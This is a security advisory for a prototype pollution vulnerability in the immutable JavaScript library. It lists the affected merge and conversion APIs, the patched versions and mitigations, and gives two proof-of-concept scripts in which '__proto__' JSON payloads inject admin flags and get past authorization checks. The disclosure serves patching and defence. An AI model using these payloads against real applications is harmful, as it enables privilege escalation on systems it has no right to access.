CVE-2026-29063

Impact

What kind of vulnerability is it? Who is impacted?

A Prototype Pollution is possible in immutable via the mergeDeep(), mergeDeepWith(), merge(), Map.toJS(), and Map.toObject() APIs.

Affected APIs

API	Notes
mergeDeep(target, source)	Iterates source keys via ObjectSeq, assigns merged[key]
mergeDeepWith(merger, target, source)	Same code path
merge(target, source)	Shallow variant, same assignment logic
Map.toJS()	object[k] = v in toObject() with no __proto__ guard
Map.toObject()	Same toObject() implementation
Map.mergeDeep(source)	When source is converted to plain object

Patches

Has the problem been patched? What versions should users upgrade to?

major version	patched version
3.x	3.8.3
4.x	4.3.7
5.x	5.1.5

Workarounds

Is there a way for users to fix or remediate the vulnerability without upgrading?

• Validate user input
• Node.js flag --disable-proto
• Lock down built-in objects
• Avoid lookups on the prototype
• Create JavaScript objects with null prototype

Proof of Concept

PoC 1 — mergeDeep privilege escalation

"use strict";
const { mergeDeep } = require("immutable"); // v5.1.4

// Simulates: app merges HTTP request body (JSON) into user profile
const userProfile = { id: 1, name: "Alice", role: "user" };
const requestBody = JSON.parse(
  '{"name":"Eve","__proto__":{"role":"admin","admin":true}}',
);

const merged = mergeDeep(userProfile, requestBody);

console.log("merged.name:", merged.name); // Eve   (updated correctly)
console.log("merged.role:", merged.role); // user  (own property wins)
console.log("merged.admin:", merged.admin); // true  ← INJECTED via __proto__!

// Common security checks — both bypassed:
const isAdminByFlag = (u) => u.admin === true;
const isAdminByRole = (u) => u.role === "admin";
console.log("isAdminByFlag:", isAdminByFlag(merged)); // true  ← BYPASSED!
console.log("isAdminByRole:", isAdminByRole(merged)); // false (own role=user wins)

// Stealthy: Object.keys() hides 'admin'
console.log("Object.keys:", Object.keys(merged)); // ['id', 'name', 'role']
// But property lookup reveals it:
console.log("merged.admin:", merged.admin); // true

PoC 2 — All affected APIs

"use strict";
const { mergeDeep, mergeDeepWith, merge, Map } = require("immutable");

const payload = JSON.parse('{"__proto__":{"admin":true,"role":"superadmin"}}');

// 1. mergeDeep
const r1 = mergeDeep({ user: "alice" }, payload);
console.log("mergeDeep admin:", r1.admin); // true

// 2. mergeDeepWith
const r2 = mergeDeepWith((a, b) => b, { user: "alice" }, payload);
console.log("mergeDeepWith admin:", r2.admin); // true

// 3. merge
const r3 = merge({ user: "alice" }, payload);
console.log("merge admin:", r3.admin); // true

// 4. Map.toJS() with __proto__ key
const m = Map({ user: "alice" }).set("__proto__", { admin: true });
const r4 = m.toJS();
console.log("toJS admin:", r4.admin); // true

// 5. Map.toObject() with __proto__ key
const m2 = Map({ user: "alice" }).set("__proto__", { admin: true });
const r5 = m2.toObject();
console.log("toObject admin:", r5.admin); // true

// 6. Nested path
const nested = JSON.parse('{"profile":{"__proto__":{"admin":true}}}');
const r6 = mergeDeep({ profile: { bio: "Hello" } }, nested);
console.log("nested admin:", r6.profile.admin); // true

// 7. Confirm NOT global
console.log("({}).admin:", {}.admin); // undefined (global safe)

Verified output against immutable@5.1.4:

mergeDeep admin: true
mergeDeepWith admin: true
merge admin: true
toJS admin: true
toObject admin: true
nested admin: true
({}).admin: undefined  ← global Object.prototype NOT polluted

References

Are there any links users can visit to find out more?

• JavaScript prototype pollution